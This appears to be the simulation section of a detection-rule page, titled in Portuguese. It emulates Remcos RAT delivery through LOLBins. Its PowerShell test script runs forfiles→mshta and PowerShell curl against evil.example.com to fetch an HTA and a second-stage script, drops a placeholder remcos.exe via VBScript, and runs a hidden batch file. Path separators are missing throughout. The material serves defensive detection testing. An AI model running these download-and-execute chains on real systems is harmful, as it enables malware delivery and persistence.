É Possível Usar Excessivamente LOLBins para Entregar Cargas Úteis de RAT?

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The red‑team operator aims to deploy the Remcos RAT using a chain of LOLBins to avoid downloading an executable directly.

  1. Discovery & Staging: Use forfiles.exe to locate a target directory and launch mshta with a malicious URL that hosts an HTA payload.
  2. File‑less PowerShell download: Invoke powershell.exe with -NoProfile -Command curl to pull a second stage script from a C2 server.
  3. VBScript Execution: Deploy a crafted processor.vbs via WScript.exe to write the RAT binary to %ProgramData%.
  4. Batch Dropper: Run a hidden batch file (patcher.bat) through cmd.exe invoked via IWshShell3.Run to finalize persistence.

  Each step generates a distinct process‑creation event that matches one of the Sigma selections, ensuring the rule fires.

• Regression Test Script:
  The script below reproduces the four selections in a controlled lab. It logs each command to a temporary file for later verification.

  #-------------------------------------------------
  # LOLBin Abuse Simulation – triggers Sigma rule
  #-------------------------------------------------
  $log = "$env:TEMPlolbin_simulation.log"
  Clear-Content -Path $log -ErrorAction SilentlyContinue
  
  # 1. forfiles.exe -> mshta
  $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
  Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log
  Invoke-Expression $cmd1
  
  # 2. powershell.exe -> curl download
  $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
  Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log
  Invoke-Expression $cmd2
  
  # 3. wscript.exe -> processor.vbs
  $vbsPath = "$env:ProgramDataprocessor.vbs"
  @"
  Set fso = CreateObject("Scripting.FileSystemObject")
  fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
  "@ | Set-Content -Path $vbsPath -Encoding ASCII
  $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
  Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log
  Invoke-Expression $cmd3
  
  # 4. IWshShell3.Run -> cmd /c patcher.bat
  $batPath = "$env:ProgramDatapatcher.bat"
  "@
  echo @echo off > %TEMP%nothing.txt
  "@ | Set-Content -Path $batPath -Encoding ASCII
  $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
  Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
  Invoke-Expression $cmd4
  
  Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log

• Cleanup Commands:
  Remove artifacts to restore the host to a clean state.

  # Cleanup LOLBin simulation artifacts
  Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
  Write-Output "[+] Cleanup completed."

  ---